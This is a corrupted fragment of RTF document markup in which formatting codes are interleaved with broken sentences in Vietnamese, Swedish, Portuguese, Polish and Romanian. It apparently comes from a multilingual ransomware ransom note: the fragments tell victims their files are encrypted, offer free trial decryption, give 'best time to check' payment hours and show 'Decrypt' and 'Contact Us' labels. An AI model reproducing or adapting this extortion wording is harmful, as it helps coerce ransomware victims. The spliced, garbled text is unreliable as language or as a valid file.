m tra, b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 p kh\\'e1\\loch\\f31502 c c}{ \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 p tin m}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 \\'f0}{\\rtlch\\fcs1 \\af2 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ng c}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 t c\\'e1\\loch\\f31502 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c ch}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 c ki}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 a b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Hai \\'f0}{\\rtlch\\fcs1 \\af2 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 ngay b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 >. B\\'e4\\loch\\f31502 \\hich\\f31502 sta tiden att kolla: 9:00 - 11:00 AM GMT fr\\'e5\\loch\\f31502 \\hich\\f31502 n m\\'e5\\loch\\f31502 ndag till fredag. \\f31502\\fs22\\insrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Decrypt}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\f31502\\fs22\\insrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contact Us}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13056521\\charrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\f31502\\fs22\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i alte fi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 i \\'ee\\loch\\f31502 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i clic pe <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 a noastr\\'e3\\loch\\f31528 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i ocupat \\'ee\\loch\\f31528 \\f31502\\fs22\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 >. Melhor hora para verificar: 9:00 - 11:00 GMT de segunda a sexta-feira. \\f31528\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i s\\'e3\\loch\\f31528 dezacti}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 va}{ \\f31528\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 ierele dvs. chiar dac\\'e3\\loch\\f31528 \\hich\\f31528 pl\\'e3\\loch\\f31528 ti}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\f31528\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 >. Najlepszy czas na sprawdzenie: 9:00 - 11:00 GMT od poniedzia\\'b3\\loch\\f31528 \\hich\\f31528 ku do pi\\'b9\\loch\\f31528 tku. \\f31528\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i \\'f0\\'fa\\loch\\f31528 ng s}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i \\'ee\\loch\\f31528 \\hich\\f31528 ncepe imediat s\\'e3\\loch\\f31528 decripta}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i cump\\'e3\\loch\\f31528 ra}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i de a v\\'e3\\loch\\f31528 recupera fi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 i s\\'e3\\loch\\f31528 \\hich\\f31528 v\\'e3\\loch\\f31528 decripta}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 iere nu mai sunt accesibile, deoarece au fost criptate. Poate c\\'e3\\loch\\f31528 sunte}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 ierele dvs. gratuit. \\'ce\\loch\\f31528 \\hich\\f31528 ncearc\\'e3\\loch\\f31528 \\hich\\f31528 acum f\\'e3\\loch\\f31528 \\hich\\f31528 c\\'e2\\loch\\f31528 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31528\\dbch\\af31505\\hich\\f31528 \\'e3\\loch\\f31528 }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 d\\'e0\\loch\\f31536 \\hich\\f31536 ng. Nh\\'fd\\loch\\f31536 ng b}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\f31536\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31536\\dbch\\af31505\\loch\\f31536 \\hich\\f31536 nh, video, c\\'f5\\loch\\f31536 s}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\fs21\\lang1033\\langfe1042\\loch\\f41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 \\sbasedon0 \\snext15 \\slink16 \\sunhideused \\styrsid1838094 Plain Text;}{\\*\\cs16 \\additive \\rtlch\\fcs1 \\af41\\afs21 \\ltrch\\fcs0 \\f41\\fs21 \\fs21\\lang1033\\langfe1042\\loch\\f41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 \\sbasedon0 \\snext15 \\slink16 \\sunhideused \\styrsid3689921 Plain Text;}{\\*\\cs16 \\additive \\rtlch\\fcs1 \\af41\\afs21 \\ltrch\\fcs0 \\f41\\fs21 \\fs21\\lang1033\\langfe1042\\loch\\f41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 \\sbasedon0 \\snext15 \\slink16 \\sunhideused Plain Text;}{\\*\\cs16 \\additive \\rtlch\\fcs1 \\af41\\afs21 \\ltrch\\fcs0 \\f41\\fs21 \\sbasedon10 \\slink15 \\slocked Plain Text Char;} \\fs21\\lang1033\\langfe1042\\loch\\f41\\hich\\af41\\dbch\\af31505\\cgrid\\langnp1033\\langfenp1042 \\sbasedon0 \\snext15 \\slink16 \\sunhideused Plain Text;}{\\*\\cs16 \\additive \\rtlch\\fcs1 \\af41\\afs21 \\ltrch\\fcs0 \\f41\\fs21 \\sbasedon10 \\slink15 \\slocked Plain Text Char;}} \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af11\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -30005\\'90\\'bf\ \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -31700\\'e4\\'dd\ \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af1\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 24375\\'8b\\'ad\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 24456\\'9c\\'6b\ \\fs22\\cf6\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 28858\\'88\\'d7\ \\fs22\\cf6\\loch\\af11\\hich\\af11\\dbch\\af11\\insrsid1116386\\charrsid1060393 \\fs22\\cf6\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid16127139\\charrsid8656048 \\fs22\\cf6\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\hich\\af18\\dbch\\af18\\loch\\f18 }{\\rtlch\\fcs1 \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\cf6\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 19981 \\fs22\\cf6\\loch\\af18\\hich\\af18\\dbch\\af18\\insrsid4986254\\charrsid8656048 \\loch\\af18\\hich\\af18\\dbch\\f18 30340\\'aa\\'ba\ \\af90\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\hich\\af11\\dbch\\af11\\loch\\f11 }{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\hich\\af11\\dbch\\af11\\loch\\f11 }{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\hich\\af11\\dbch\\af11\\loch\\f11 11}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\hich\\af11\\dbch\\af11\\loch\\f11 9}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\hich\\af11\\dbch\\af11\\loch\\f11 }{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\hich\\af11\\dbch\\af11\\loch\\f11 exe}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\b\\fs28\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\line }{ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -244\\'81\\'43}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -24866\\'ea\\'79\ \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -24866\\'ea\\'79}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -26637\\'89\\'b9\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -26880\\'8e\\'f9\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -28139\\'e7\\'e4}{\\rtlch\\fcs1 \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -28594\\'89\\'df\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -28647\\'94\\'87\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -30005\\'90\\'bf\ \\af18\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 -30314\\'8e\\'8b\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12289\\'81\\'41}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12289\\'81\\'41}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af12\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 12290\\'81\\'42}{\\rtlch\\fcs1 \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 19981\\'95\\'73\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 19981\\'95\\'73}{\\rtlch\\fcs1 \\af11\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 20063\\'96\\'e7\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 20184\\'95\\'74\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 20184\\'95\\'74\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 20294\\'92\\'41\ \\af36\\afs22 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 21482\\'91\\'fc\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 22240\\'88\\'f6}{\\rtlch\\fcs1 \\af11\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 22739\\'9a\\'d8\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 23559\\'9b\\'92\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 23565\\'9b\\'94\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 23601\\'8f\\'41\ \\af11\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 23601\\'8f\\'41\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 23601\\'8f\\'41\ \\af11\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 23601\\'8f\\'41\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 24190\\'8a\\'f4\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 24478\\'9c\\'6e\ \\af41\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25105\\'89\\'e4\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25105\\'89\\'e4\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25105\\'89\\'e4\ \\af18\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25152\\'8f\\'8a\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25353\\'88\\'c2}{\\rtlch\\fcs1 \\af11\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25512\\'90\\'84\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25552\\'92\\'f1\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25991\\'95\\'b6\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 25991\\'95\\'b6\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 26410\\'96\\'a2\ \\af36\\afs22 \\ltrch\\fcs0 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 27794\\'9f\\'93\ \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 \\loch\\af11\\hich\\af11\\dbch\\f11 28858\\'88\\'d7\ \\af36\\afs22 \\fs22\\lang1033\\langfe1028\\loch\\af11\\hich\\af11\\dbch\\af11\\langfenp1028\\insrsid1060393\\charrsid1060393 